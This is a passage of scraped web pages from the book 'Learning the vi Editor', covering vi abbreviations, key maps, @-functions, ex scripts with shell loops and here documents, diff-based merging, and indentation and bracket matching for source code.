WITH A SCREEN EDITOR YOU CAN SCROLL THE PAGE
MOVE THE CURSOR, DELETE LINES, INSERT CHARACTERS,
AND MORE, WHILE SEEING THE RESULTS OF YOUR EDITS
AS YOU MAKE THEM.
One sentence after.

Enter the UNIX command and press RETURN. The input is replaced by the output.

To repeat the previous command, the syntax is:

! object !

It is sometimes useful to send sections of a coded document to nroff to be replaced by formatted output. Remember that the "original" input is replaced by the output. Fortunately, if there is a mistake, such as an error message being sent instead of the expected output, you can undo the command and restore the lines.

Previous: 7.1 Customizing vi | Learning the vi Editor | Next: 7.3 Saving Commands
7.1 Customizing vi | Book Index | 7.3 Saving Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.3 Saving Commands

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 7.2 Executing UNIX Commands Chapter 7
Advanced Editing 		Next: 7.4 Using ex Scripts

7.3 Saving Commands

Often you type the same long phrases over and over in a file. vi and ex have a number of different ways of saving long sequences of commands, both in command mode and in insert mode. When you call up one of these saved sequences to execute it, all you do is type a few characters (or even only one), and the entire sequence is executed as if you had entered the whole sequence of commands one by one.

7.3.1 Word Abbreviation

You can define abbreviations that vi will automatically expand into the full text whenever you type the abbreviation in insert mode. To define an abbreviation, use the ex command:

:ab abbr phrase

abbr is an abbreviation for the specified phrase. The sequence of characters that make up the abbreviation will be expanded in insert mode only if you type it as a full word; abbr will not be expanded within a word.

Suppose in the file practice you want to enter text that contains a frequently recurring phrase such as a difficult product or company name. The command:

:ab imrc International Materials Research Center
abbreviates International Materials Research Center to the initials imrc. Now whenever you type imrc in insert mode, imrc expands to the full text.
Keystrokes Results
ithe imrc
the International Materials Research Center
Abbreviations expand as soon as you press a non-alphanumeric character (e.g., punctuation), a space, a carriage return, or [ESC] (returning to command mode). When you are choosing abbreviations, choose combinations of characters that don't ordinarily occur while you are typing text. If you create an abbreviation that ends up expanding in places where you don't want it to, you can disable the abbreviation by typing:

:unab abbr

To list your currently defined abbreviations, type:

:ab

The characters that compose your abbreviation cannot also appear at the end of your phrase. For example, if you issue the command:

:ab PG This movie is rated PG

you'll get the message "No tail recursion," and the abbreviation won't be set. The message means that you have tried to define something that will expand itself repeatedly, creating an infinite loop. If you issue the command:

:ab PG the PG rating system

you may or may not produce an infinite loop, but in either case you won't get a warning message. For example, when the above command was tested on a System V version of UNIX, the expansion worked. On a Berkeley version, though, the abbreviation expanded repeatedly, like this:

the the the the the ...

until a memory error occurred and vi quit. We recommend that you avoid repeating your abbreviation as part of the defined phrase.

7.3.2 Using the map Command

While you're editing, you may find that you are using a command sequence frequently, or you may occasionally use a very complex command sequence. To save yourself keystrokes, or the time that it takes to remember the sequence, you can assign the sequence to an unused key by using the map command.

The map command acts a lot like ab except that you define a macro for command mode instead of insert mode.

:map x sequence

Define character x as a sequence of editing commands.

:unmap x

Disable the sequence defined for x.

:map

List the characters that are currently mapped.

Before you can start creating your own maps, you need to know the keys not used in command mode that are available for user-defined commands:

Letters:

g K q V v

Control keys:

^A ^K ^O ^T ^W ^X

Symbols:

_ * \ = (Note: The = is used by vi if Lisp mode is set.)

Depending on your terminal, you may also be able to associate map sequences with special function keys.

With maps you can create simple or complex command sequences. As a simple example, you could define a command to reverse the order of words. In vi, with the cursor as shown:

you can the scroll page

the sequence to put the after scroll would be dwelp: delete word, dw; move to the end of next word, e; move one space to the right, l; put the deleted word there, p. Saving this sequence:

:map v dwelp

enables you to reverse the order of two words at any time in the editing session with the single keystroke v.

7.3.3 Protecting Keys from Interpretation by ex

Note that when defining a map, you cannot simply type certain keys, such as [RETURN], [ESC], [BACKSPACE], and [DELETE] as part of the command to be mapped, because these keys already have meaning within ex. If you want to include one of these keys as part of the command sequence, you must escape the normal meaning by preceding the key with ^V [CTRL-V]. The keystroke ^V appears in the map as the ^ character. Characters following the ^V also do not appear as you expect. For example, a carriage return appears as ^M, escape as ^[, backspace as ^H, and so on.

On the other hand, if you want to use a control character as the character to be mapped, in most cases all you have to do is hold down the [CTRL] key and press the letter key at the same time. So, for example, all you need to do in order to map ^A is to type:

:map [CTRL-A] sequence

There are, however, three control characters that must be escaped with a ^V. They are ^T, ^W, and ^X. So, for example, if you want to map ^T, you must type:

:map [CTRL-V] [CTRL-T] sequence

The use of [CTRL-V] applies to any ex command, not just a map command. This means that you can type a carriage return in an abbreviation or a substitution command. For example, the abbreviation:

:ab 123 one^Mtwo^Mthree

expands to this:

one
two
three

(Here we show the sequence [CTRL-V] [RETURN] as ^M, the way it would appear on your screen.)

You can also globally add lines at certain locations. The command:

:g/^Section/s//As you recall, in^M&/

inserts, before all lines beginning with the word Section, a phrase on a separate line. The & restores the search pattern.

Unfortunately, one character always has special meaning in ex commands, even if you try to quote it with [CTRL-V]. Recall that the vertical bar (|) has special meaning as a separator of multiple ex commands. You cannot use a vertical bar in insert mode maps.

Now that you've seen how to use [CTRL-V] to protect certain keys inside ex commands, you're ready to define some powerful map sequences.

7.3.4 Complex Mapping Example

Assume that you have a glossary with entries like this:

map - an ex command which allows you to associate
a complex command sequence with a single key.

You would like to convert this glossary list to nroff format, so that it looks like this:

.IP "map" 10 n
An ex command...

The best way to define a complex map is to do the edit once manually, writing down each keystroke that you must type. Then recreate these keystrokes as a map. You want to:

  1. Insert the ms macro for an indented paragraph at the beginning of the line. Insert the first quotation mark as well (I.IP <">).

  2. Press [ESC] to terminate insert mode.

  3. Move to the end of the first word (e) and add a second quotation mark, followed by a space and the size of the indent (a<"> 10n).

  4. Press [RETURN] to insert a new line.

  5. Press [ESC] to terminate insert mode.

  6. Remove the hyphen and two surrounding spaces (3x) and capitalize the next word (~).

That's quite an editing chore if you have to repeat it more than a few times. With :map you can save the entire sequence so that it can be re-executed with a single keystroke:

:map g I.IP "^[ea" 10n^M^[3x~

Note that you have to "quote" both the [ESC] and [RETURN] characters with [CTRL-V]. ^[ is the sequence that appears when you type [CTRL-V] followed by [ESC]. ^M is the sequence shown when you type [CTRL-V] [RETURN].

Now, simply typing g will perform the entire series of edits. At a slow baud rate you can actually see the edits happening individually. At a fast baud rate it will seem to happen by magic.

Don't be discouraged if your first attempt at key mapping fails. A small error in defining the map can give very different results from the ones you expect. Type u to undo the edit, and try again.

7.3.5 More Examples of Mapping Keys

The examples below will give you an idea of the clever shortcuts possible when defining keyboard maps.

  1. Add text whenever you move to the end of a word:

    :map e ea

    Most of the time, the only reason you want to move to the end of a word is to add text. This map sequence puts you in insert mode automatically. Note that the mapped key, e, has meaning in vi. You're allowed to map a key that is already used by vi, but the key's normal function will be unavailable as long as the map is in effect. This isn't so bad in this case, since the E command is often identical to e.

  2. Transpose two words:

    :map K dwElp

    We discussed this sequence earlier in the chapter, but now you need to use E (assume here, and in the remaining examples, that the e command is mapped to ea). Remember that the cursor begins on the first of the two words. Unfortunately, because of the l command, this sequence (and the earlier version) doesn't work if the two words are at the end of a line: during the sequence, the cursor ends up at the end of the line, and l cannot move further right. Here's a better solution:

    :map K dwwP

    You could also use W instead of w.

  3. Save a file and edit the next one in a series:

    :map q :w^M:n^M

    Notice that you can map keys to ex commands, but be sure to finish each ex command with a carriage return. This sequence makes it easy to move from one file to the next and is useful when you've opened many short files with one vi command. Mapping the letter q helps you remember that the sequence is similar to a "quit."

  4. Put troff emboldening codes around a word:

    :map v i\fB^[e\fP^[

    This sequence assumes that the cursor is at the beginning of the word. First, you enter insert mode, then you type the code for bold font. In map commands, you don't need to type two backslashes to produce one backslash. Next, you return to command mode by typing a "quoted" [ESC]. Finally, you append the closing troff code at the end of the word, and you return to command mode. Notice that when we appended to the end of the word, we didn't need to use ea, since this sequence is itself mapped to the single letter e. This shows you that map sequences are allowed to contain other map commands. (The ability to use nested map sequences is controlled by vi's remap option, which is normally enabled.)

  5. Put troff emboldening codes around a word, even when the cursor is not at the beginning of the word:

    :map V lbi\fB^[e\fP^[

    This sequence is the same as the previous one, except that it uses lb to handle the additional task of positioning the cursor at the beginning of the word. The cursor might be in the middle of the word, so you want to move to the beginning with the b command.

    But if the cursor were already at the beginning of the word, the b command would move the cursor to the previous word instead. To guard against that case, type an l before moving back with b, so that the cursor never starts on the first letter of the word. You can define variations of this sequence by replacing the b with B and the e with Ea. In all cases, though, the l command prevents this sequence from working if the cursor is at the end of a line. (You could append a space to get around this.)

  6. Repeatedly find and remove parentheses from around a word or phrase: [1]

    [1] From the article by Walter Zintz, in UNIX World, April 1990.

    :map = xf)xn

    This sequence assumes that you first found an open parenthesis, by typing /( followed by [RETURN]

    If you choose to remove the parentheses, then use the map command: delete the open parenthesis with x, find the closing one with f), delete it with x, and then repeat your search for an open parenthesis with n.

    If you don't want to remove the parentheses (for example, if they're being used correctly), then don't use the map command: press n instead to find the next open parenthesis.

    You could also modify the map sequence above to handle matching pairs of quotes.

  7. Place C comments around an entire line:

    :map g I/* ^[A */^[

    This sequence inserts /* at the line's beginning and appends */ at the line's end. You could also map a substitute command to do the same thing:

    :map g :s/.*/\/* & *\//^M

    Here, you match the entire line (with .*), and when you replay it (with &), you surround the line with the comment symbols. Note that you have to escape the / in the comment.

  8. Safely repeat a long insertion:

    :map ^J :set wm=0^M.:set wm=10^M

    We mentioned in Chapter 2, Simple Editing that vi occasionally has difficulty repeating long insertions of text when wrapmargin is set. This map command is a useful workaround. It temporarily turns off the wrapmargin (by setting to 0), gives the repeat command, and then restores the wrapmargin. Note that a map sequence can combine ex and vi commands.

In the previous example, even though ^J is a vi command (it moves the cursor down a line), this key is safe to map because it's really the same as the j command. There are many keys that either perform the same tasks as other keys or that are rarely used. However, you should be familiar with the vi commands before you boldly disable their normal use by using them in map definitions.

7.3.6 Mapping Keys for Insert Mode

Normally, maps apply only to command mode - after all, in insert mode, keys stand for themselves and shouldn't be mapped as commands. However, by adding an exclamation mark (!) to the map command, you can force it to override the ordinary meaning of a key and produce the map in insert mode. This feature is useful when you find yourself in insert mode but need to escape briefly to command mode, run a command, and then return to insert mode.

For example, suppose you just typed a word but forgot to italicize it (or place quotes around it, etc.). You can define this map:

:map! + ^[bi\fI^[ea\fP

Now, when you type a + at the end of a word, you will surround the word with troff italicization codes. The + won't show up in the text.

The sequence above escapes to command mode (^[), backs up to insert the first code (bi\fI), escapes again (^[), and moves ahead to append the second code (ea\fP). Since the map sequence begins and ends in insert mode, you can continue entering text after italicizing the word.

Here's another example. Suppose that you've been typing your text, and you realize that the previous line should have ended with a colon. You can correct that by defining this map sequence: [2]

[2] From the article by Walter Zintz, in UNIX World, April 1990.

:map! % ^[kA:^[jA

Now, if you type a % anywhere along your current line, you'll append a colon to the end of the previous line. This command escapes to command mode, moves up a line, and appends the colon (^[kA:). The command then escapes again, moves down to the line you were on, and leaves you in insert mode (^[jA).

Note that we wanted to use uncommon characters (% and +) for the previous map commands. When a character is mapped for insert mode, you can no longer type that character as text. To reinstate a character for normal typing, use the command:

:unmap! x

where x is the character that was previously mapped for insert mode.

Insert-mode mapping is often more appropriate for tying character strings to special keys that you wouldn't otherwise use. It is especially useful with programmable function keys.

7.3.7 Mapping Function Keys

Many terminals have programmable function keys. You can usually set up these keys to print whatever character or characters you want using a special setup mode on the terminal. However, keys programmed using a terminal's setup mode only work on that terminal; they may also limit the action of programs that want to set up those function keys themselves.

ex allows you to map function keys by number, using the syntax:

:map #1 commands

for function key number 1, and so on. (It can do this because the editor has access to the entry for that terminal found in either the termcap or terminfo database and knows the escape sequence normally put out by the function key.)

As with other keys, maps apply by default to command mode, but by using the map! commands as well, you can define two separate values for a function key - one to be used in command mode, the other in insert mode. For example, if you are a troff user, you might want to put font-switch codes on function keys. For example:

:map #1 i\fI^[
:map! #1 \fI

If you are in command mode, the first function key will enter insert mode, type in the three characters \fI, and return to command mode. If you are already in insert mode, the key will simply type the three-character troff code.

NOTE: If function keys have been redefined in the terminal's setup mode, the #n syntax might not work since the function keys no longer put out the expected control or escape sequence as described in its terminal database entry. You will need to examine the termcap entry (or terminfo source) for your terminal and check the definitions for the function keys. In addition, there are some terminals whose function keys perform only local actions and don't actually send any characters to the computer. Such function keys can't be mapped.

The terminal capabilities k1, k2 through k0 describe the first ten function keys. The capabilities l1, l2 through l0 describe the remaining function keys. Using your terminal's setup mode, you can change the control or escape sequence output by the function key to correspond with the termcap or terminfo entry. (For more information, see the Nutshell Handbook termcap & terminfo.)

If the sequence contains ^M, which is a carriage return, press [CTRL-M]. For instance, in order to have function key 1 available for mapping, the terminal database entry for your terminal must have a definition of k1, such as:

k1=^A@^M

In turn, the definition:

^A@^M

must be what is output when you press that key.

To test what the function key puts out, press the key at the UNIX prompt, followed by a [RETURN] if necessary. The shell should display the sequence output by the function key after trying unsuccessfully to execute it as a UNIX command.

7.3.8 Mapping Other Special Keys

Many keyboards have special keys, such as [HOME], [END], [PAGE UP], and [PAGE DOWN] that duplicate commands in vi. If the terminal's termcap or terminfo description is complete, vi will be able to recognize these keys. But if it isn't, you can use the map command to make them available to vi. These keys generally send an escape sequence to the computer - an escape character followed by a string of one or more other characters. In order to trap the escape, you should press ^V before pressing the special key in the map. For example, to map the [HOME] key on the keyboard of an IBM PC to a reasonable vi equivalent, you might define the following map:

:map [CTRL-V] [HOME]

This appears on your screen as:

:map ^[[H 1G

Similar map commands display as follows:

:map [CTRL-V] [END]  G          displays    :map ^[[Y G

:map [CTRL-V] [PAGE UP]  ^F	displays    :map ^[[V ^F
:map [CTRL-V] [PAGE DOWN]  ^B	displays    :map ^[[U ^B

You'll probably want to place these maps in your .exrc file. Note that if a special key generates a long escape sequence (containing multiple non-printing characters), ^V quotes only the initial escape character, and the map doesn't work. You will have to find the entire escape sequence (perhaps from the terminal manual) and type it in manually, quoting at the appropriate points, rather than simply pressing ^V and then the key.

7.3.9 @-Functions

Named buffers provide yet another way to create "macros" - complex command sequences that you can repeat with only a few keystrokes.

If you type a command line in your text (either a vi sequence or an ex command preceded by a colon), then delete it into a named buffer, you can execute the contents of that buffer with the @ command. For example, open a new line and enter:
cwgadfly [CTRL-V ][ESC]
This will appear as:

cwgadfly^[

on your screen. Press [ESC] again to exit insert mode, then delete the line into buffer g by typing "gdd. Now, whenever you place the cursor at the beginning of a word and type @g, that word in your text will be changed to gadfly.

Since @ is interpreted as a vi command, a dot (.) will repeat the entire sequence, even if the buffer contains an ex command. @@ repeats the last @, and u or U can be used to undo the effect of @.

This is a simple example. @-functions are useful because they can be adapted to very specific commands. They are especially useful when you are editing between files, because you can store the commands in their named buffers and access them from any file you edit. @-functions are also useful in combination with the global replacement commands discussed in Chapter 6, Global Replacement .

Previous: 7.2 Executing UNIX Commands | Learning the vi Editor | Next: 7.4 Using ex Scripts
7.2 Executing UNIX Commands | Book Index | 7.4 Using ex Scripts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.4 Using ex Scripts

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 7.3 Saving Commands Chapter 7
Advanced Editing 		Next: 7.5 Editing Program Source Code

7.4 Using ex Scripts

Certain ex commands you use only within vi, such as maps, abbreviations, and so on. If you store these commands in a separate file called .exrc, the commands will automatically be executed when you invoke vi. Any file that contains commands to execute is called a script.

The commands in a typical .exrc script are of no use outside vi. However, you can save other ex commands in a script, and then execute the script on a file or on multiple files. Mostly you'll use substitute commands in these external scripts.

For a writer, a useful application of ex scripts is to ensure consistency of terminology - or even of spelling - across a document set. For example, let's assume that you've run the UNIX spell command on two files and that the command has printed out the following list of misspellings:

$ spell sect1 sect2
chmod
ditroff
myfile
thier
writeable

As is often the case, spell has flagged a few technical terms and special cases it doesn't recognize, but it has also identified two genuine spelling errors.

Because we checked two files at once, we don't know which files the errors occurred in or where they are in the files. Although there are ways to find this out, and the job wouldn't be too hard for only two errors in two files, you can easily imagine how time consuming the job could grow for a poor speller or for a typist proofing many files at once.

To make the job easier, you could write an ex script containing the following commands:

%s/thier/their/g
%s/writeable/writable/g
x

Assume you've saved these lines in a file named exscript. The script could be executed from within vi with the command:

:so exscript

or the script can be applied to a file right from the command line. Then you could edit the files sect1 and sect2 as follows:

$ ex - sect1 < exscript
$ ex - sect2 < exscript

(The minus sign following the invocation of ex tells it to suppress the normal terminal messages.)

If the script were longer than the one in our simple example, we would already have saved a fair amount of time. However, you might wonder if there isn't some way to avoid repeating the process for each file to be edited. Sure enough, we can write a shell script that includes, but generalizes, the invocation of ex, so that it can be used on any number of files.

7.4.1 Looping in a Shell Script

If you don't already know this, it's about time you learned that the shell is a programming language as well as a command-line interpreter. To invoke ex on a number of files, we use a simple type of shell script command called the for loop. A for loop allows you to apply a sequence of commands for each argument given to the script. (The for loop is probably the single most useful piece of shell programming for beginners. You'll want to remember it even if you don't write any other shell programs.)

Here's the syntax of a for loop:

for variable in list
do
    command(s)
done

For example:

for file in $*
do
    ex - $file < exscript
done

(The command doesn't need to be indented; we indented it for clarity.) After we create this shell script, we save it in a file called correct and make it executable with the chmod command. (If you aren't familiar with the chmod command and the procedures for adding a command to your UNIX search path, see the Nutshell Handbook Learning the UNIX Operating System.) Now we can simply type:

$ correct sect1 sect2

The for loop in correct will assign each argument (each file in the list specified by $*, which stands for all arguments) to the variable file and execute the ex script on the contents of that variable.

It may be easier to grasp how the for loop works with an example whose output is more visible. Let's look at a script to rename files:

for file in $*
do
    mv $file $file.x
done

Assuming this script is in an executable file called move, here's what we can do:

$ ls
ch01 ch02 ch03 move
$ move ch??
$ ls
ch01.x ch02.x ch03.x move

With a little creativity, you could rewrite the script to rename the files more specifically:

for nn in $*
do
    mv ch$nn sect$nn
done

With the script written this way, you'd specify numbers instead of filenames on the command line:

$ ls
ch01 ch02 ch03 move
$ move 01 02 03
$ ls
sect01 sect02 sect03 move

The for loop need not take $* (all arguments) as the list of values to be substituted. You can specify an explicit list as well; for example:

for variable in a b c d

will assign variable to a, b, c, and d in turn. Or you can substitute the output of a command; for example:

for variable in `grep -l "Alcuin"`

will assign variable in turn to the name of each file in which grep finds the string Alcuin.

If no list is specified:

for variable

the variable will be assigned to each command-line argument in turn, much as it was in our initial example. This is actually not equivalent to:

for variable in $*

but to:

for variable in $@

which has a slightly different meaning. The symbol $* expands to $1, $2, $3, etc., but $@ expands to "$1", "$2", "$3", etc. Quotation marks prevent further interpretation of special characters.

Let's return to our main point and our original script:

for file in $*
do
    ex - $file < exscript
done

It may seem a little inelegant to have to use two scripts - the shell script and the ex script. And in fact, the shell does provide a way to include an editing script inside a shell script.

7.4.2 Here Documents

In a shell script, the operator << means to take the following lines, up to a specified string, as input to a command. (This is often called a here document.) Using this syntax, we could include our editing commands in correct like this:

for file in $*
do
ex - $file << end-of-script
g/thier/s//their/g
g/writeable/s//writable/g
wq
end-of-script
done

The string end-of-script is entirely arbitrary - it just needs to be a string that won't otherwise appear in the input and can be used by the shell to recognize when the here document is finished. By convention, many users specify the end of a here document with the string EOF, or E_O_F, to indicate the end of the file.

There are advantages and disadvantages to each approach shown. If you want to make a one-time series of edits and don't mind rewriting the script each time, the here document provides an effective way to do the job.

However, it's more flexible to write the editing commands in a separate file from the shell script. For example, you could establish the convention that you will always put editing commands in a file called exscript. Then you only need to write the correct script once. You can store it away in your personal "tools" directory (which you've added to your search path) and use it whenever you like.

7.4.3 Sorting Text Blocks: A Sample ex Script

Suppose you want to alphabetize a file of nroff-encoded glossary definitions. Each term begins with an .IP macro. In addition, each entry is surrounded by the .KS/.KE macro pair. (This ensures that the term and its definition will print as a block and will not be split across a new page.) The glossary file looks something like this:

.KS
.IP "TTY_ARGV" 2n
The command, specified as an argument vector,
that the TTY subwindow executes.
.KE
.KS
.IP "ICON_IMAGE" 2n
Sets or gets the remote image for icon's image.
.KE
.KS
.IP "XV_LABEL" 2n
Specifies a frame's header or an icon's label.
.KE
.KS
.IP "SERVER_SYNC" 2n
Synchronizes with the server once.
Does not set synchronous mode.
.KE

You can alphabetize a file by running the lines through the UNIX sort command, but you don't really want to sort every line. You want to sort only the glossary terms, moving each definition - untouched - along with its corresponding term. As it turns out, you can treat each text block as a unit by joining the block into one line. Here's the first version of your ex script:

g/\.KS/,/\.KE/j
%!sort

Each glossary entry is found between a .KS and .KE macro. j is the ex command to join a line (the equivalent in vi is J). So, the first command joins every glossary entry into one "line." The second command then sorts the file, producing lines like this:

.KS .IP  "ICON_IMAGE" 2n Sets or gets ... image.    .KE
.KS .IP  "SERVER_SYNC" 2n Synchronizes with ... mode.    .KE
.KS .IP  "TTY_ARGV" 2n The command, ... executes.    .KE
.KS .IP  "XV_LABEL" 2n Specifies a ... icon's label.    .KE

The lines are now sorted by glossary entry; unfortunately, each line also has macros and text mixed in (we've used ellipses (...) to show omitted text). Somehow, you need to insert carriage returns to "un-join" the lines. You can do this by modifying your ex script: mark the joining points of the text blocks before you join them, and then replace the markers with carriage returns. Here's the expanded ex script:

g/\.KS/,/\.KE/-1s/$/@@/
g/\.KS/,/\.KE/j
%!sort
%s/@@ /^M/g

The first three commands produce lines like this:

.KS@@ .IP "ICON_IMAGE" 2nn@@ Sets or gets ... image. @@ .KE
.KS@@ .IP "SERVER_SYNC" 2nn@@ Synchronizes with ... mode. @@ .KE
.KS@@ .IP "TTY_ARGV" 2nn@@ The ... vector, @@ that ... .@@ .KE
.KS@@ .IP "XV_LABEL" 2nn@@ Specifies a ... icon's
label. @@ .KE
Note the extra space following the @@.  The spaces result from
the j command, because it converts each carriage return into
a space.
The first command marks the original line breaks with @@.
You don't need to mark the end of the block
(after the .KE), so the first command uses a -1 to
move back up one line at the end of each block.
The fourth command restores the line breaks by replacing the markers
(plus the extra space)
with carriage returns.
Now, your file is sorted by blocks.
7.4.4 Comments in ex Scripts
You may want to reuse such a script, adapting it to
a new situation.
With a complex script like this, it is wise to add comments so that it's
easier for someone else (or even yourself!) to reconstruct how it works.
In ex scripts, anything following a double quote
is ignored during execution, so a double quote can mark the
beginning of a comment.  Comments can go on their own line.
They can also go at the end of any command that doesn't
interpret a quote as part of the command.  (For example, a quote
has meaning to map commands and shell escapes, so you can't end
such lines with a comment.)
Besides using comments, you can specify a command by
its full name, something that would ordinarily be too
time consuming from within vi.
Finally, if you add spaces, the ex
script above becomes this more readable one:
" Mark lines between each KS/KE block
global /\.KS/,/\.KE/-1 substitute /$/@@/
" Now join the blocks into one line
global /\.KS/,/\.KE/ join
" Sort each block--now really one line each
%!sort
" Restore the joined lines to original blocks
% substitute /@@ /^M/g
7.4.5 ex Scripts Built by diff
A further example of the use of ex scripts is built into a
UNIX program called diff, which compares two files and
prints out lines that differ.
The -e option of diff produces an editing script
usable with either ed or ex, instead of the usual output.
This script consists of a sequence of a (add), c
(change), and d (delete) commands
necessary to recreate file1 from file2 (the first and second files
specified on
the diff command line).
Obviously there is no need to completely recreate the first file from
the second, because you could do that easily with cp.
However, by editing the script produced by diff, you can come up
with some desired combination of the two versions.
It might take you a moment to think of a case in which you might have
use for this feature.
Consider this one:  two people have unknowingly made edits to
different copies of a file, and you need the two versions merged.
(This can happen especially easily in a networked environment, in
which people copy files between machines.
Poor coordination can easily result in this kind of problem.)
To make this situation concrete, let's take a look at two versions of
the same paragraph, which we want to combine:
Version 1:
The Book of Kells,
now one of the treasures of the Trinity College Library
in Dublin,
was found in the ancient monastery at Ceannanus Mor,
now called Kells.
It is a beautifully illustrated manuscript of the Latin
Gospels, and also contains notes on local history.
It was written in the eighth century.
The manuscript is generally regarded as the finest
example of Celtic illumination.

Version 2:
The Book of Kells
was found in the ancient monastery at Ceannanus Mor,
now called Kells.
It is a beautifully illustrated manuscript of the Latin
Gospels, and also contains notes on local history.
It is believed to have been written in the eighth century.
The manuscript is generally regarded as the finest
example of Celtic illumination.
As you can see, there is one additional phrase in each of the two files.
We can merge them into one file that incorporates both
edits.
Typing:
$ diff -e version1 version2 > exscript
will yield the following output in the file exscript:
8c
It is believed to have been written in the eighth century.
.
1,3c
The Book of Kells
.
You'll notice that the script appears in reverse order, with the
changes later in the file appearing first.
This is essential whenever you're making changes based on line
numbers;  otherwise, changes made earlier in the file may change the
numbering, rendering the later parts of the script ineffective.
You'll also notice that, as mentioned, this script will simply
recreate version1, which is not what we want.
We want the change to line 8, but not the change to lines 1 through 3.
We want to edit the script so that it looks like this:
8c
It is believed to have been written in the eighth century.
.
w
(Notice that we had to add the w command to write the results
of the edit back into the file.)
Now we can type:
$ ex - version1 < exscript
to get the resulting merged file:
The Book of Kells,
now one of the treasures of the Trinity College Library
in Dublin,
was found in the ancient monastery at Ceannanus Mor,
now called Kells.
It is a beautifully illustrated manuscript of the Latin
Gospels, and also contains notes on local history.
It is believed to have been written in the eighth century.
The manuscript is generally regarded as the finest
example of Celtic illumination.
Using diff like this can get confusing, especially when there
are many changes.
It is easy to get the direction of changes confused
or to make the wrong edits.
Just remember to do the following:
  • Specify the file that is closest in content to your eventual target as
the first file on the diff command line.
This will minimize the size of the editing script that is produced.
  • After you have corrected the editing script so that it makes only the
changes that you want, apply it to that same file (the first file).
Nonetheless, because there is so much room for error, it is better not
to have your script write the changes back directly into one of your
source files.
Instead of adding a w command at the end of the script, add
the command %p (or 1,$p) to write the results to
standard output.
This is almost always preferable when you are using a complex editing
script.
If we use this command in the editing script, the command line to
actually make the edits would look like this:
$ ex - version1 < exscript > version3
Writers often find themselves making extensive changes and then
wishing they could go back and recover some part of an earlier
version.
Obviously, frequent backups will help.
However, if backup storage space is at a premium, it is possible
(though a little awkward) to save only some older version of a file,
and then keep incremental diff -e scripts to mark the
differences between each successive version.
To apply multiple scripts to a single file, you can simply pipe them
to ex rather than redirecting input:
$ cat script1 script2 script3 | ex - oldfile
But wait!
How do you get your w (or %p) command into the
pipeline?
You could edit the last script to include one of these commands.
But there's another trick that we ought to look at because it
illustrates another useful feature of the shell that many people are
unaware of.
If you enclose a semicolon-separated list of commands in parentheses,
the standard output of all of the commands are combined, and can be
redirected together.
The immediate application is that, if you type:
$ cat script1 script2 script3; echo '%p' | ex - oldfile
the results of the cat command will be sent, as usual, to
standard output, and only the results of echo will be piped to
ex.
But if you type:
$ (cat script1 script2 script3; echo '%p') | ex -oldfile
the output of the entire sequence will make it into the pipeline,
which is what we want.
7.4.6 Where to Go from Here
If this discussion has whetted your appetite for even more
editing power, you should be aware that UNIX provides editors even more
powerful than ex:  the sed stream editor and the awk data
manipulation language.  For information on these programs, see the Nutshell
Handbook Sed & Awk.
Previous: 7.3 Saving Commands | Learning the vi Editor | Next: 7.5 Editing Program Source Code
7.3 Saving Commands | Book Index | 7.5 Editing Program Source Code
  The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.5 Editing Program Source Code

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 7.4 Using ex Scripts Chapter 7
Advanced Editing 		Next: A. Quick Reference

7.5 Editing Program Source Code

All of the features discussed so far in this book are of interest whether you are editing English text or program source code. However, there are a number of additional features that are of interest chiefly to programmers. These include indentation control, searching for the beginning and end of procedures, and using ctags.

The following discussion is adapted from documentation provided by Mortice Kern Systems with their excellent implementation of vi for DOS-based systems, available as a part of the MKS Toolkit or separately as MKS Vi. It is reprinted by permission of Mortice Kern Systems.

7.5.1 Indentation Control

The source code for a program differs from ordinary text in a number of ways. One of the most important of these is the way in which source code uses indentation. Indentation shows the logical structure of the program: the way in which statements are grouped into blocks.

vi provides automatic indentation control. To use it, issue the command:

:set autoindent

Now, when you indent a line with spaces or tabs, the following lines will automatically be indented by the same amount. When you press [RETURN] after typing the first indented line, the cursor goes to the next line and automatically indents the same distance as the previous line.

As a programmer, you will find this saves you quite a bit of work getting the indentation right, especially when you have several levels of indentation.

When you are entering code with autoindent enabled, typing [CTRL-T] at the start of a line gives you another level of indentation and typing [CTRL-D] takes one away.

We should point out that [CTRL-T] and [CTRL-D] are typed while you are in insert mode, unlike most other commands, which are typed in command mode.

The amount of indentation provided by [CTRL-T] or >> is one tab character. Tab stops are set every eight spaces by default. A command like:

:set tabstop=4

will change the tab settings for a file.

Try using the autoindent option when you are entering source code. It simplifies the job of getting indentation correct. It can even sometimes help you avoid bugs (e.g., in C source code, where you usually need one closing curly brace (}) for every level of indentation you go backwards).

The << and >> commands are also helpful when indenting source code. By default, >> shifts a line right eight spaces (i.e., adds eight spaces of indentation) and << shifts a line left eight spaces. For example, move the cursor to the beginning of this line and press the > key twice (>>). You will see the line move right. If you now press the < key twice (<<), the line will move back again.

You can shift a number of lines by typing the number followed by >> or <<. For example, move the cursor to the first line of this paragraph and type 5>>. You will shift all five lines in the paragraph.

The default shift is eight spaces (right or left). This default can be changed with a command like:

:set shiftwidth=4

You will find it convenient to have a shiftwidth that is the same size as the width between tab stops.

Sometimes indentation won't work the way you expect, because what you believe to be a tab character is actually one or more spaces. Normally, your screen displays both a tab and a space as white space, making the two indistinguishable. You can, however, issue the command:

:set list

This alters your display so that a tab appears as the control character ^I and an end-of-line appears as a $. This way, you can spot a true space, and you can see extra spaces at the end of a line. A temporary equivalent is the :l command. For example, the command:

:5,20 l

displays lines 5 through 20, showing tab characters and end-of-line characters.

7.5.2 A Special Search Command

The characters (, [, {, and < can all be called opening brackets. When the cursor is resting on one of these characters, pressing the % key moves the cursor from the opening bracket forward to the corresponding closing bracket - ), ], }, or > - keeping in mind the usual rules for nesting brackets. For example, if you were to move the cursor to the first ( in:

if ( cos(a[i]) > sin(b[i]+c[i]) )
{
printf("cos and sin equal!");
}

and press %, you would see that the cursor jumps to the parenthesis at the end of the line. This is the closing parenthesis that matches the opening one.

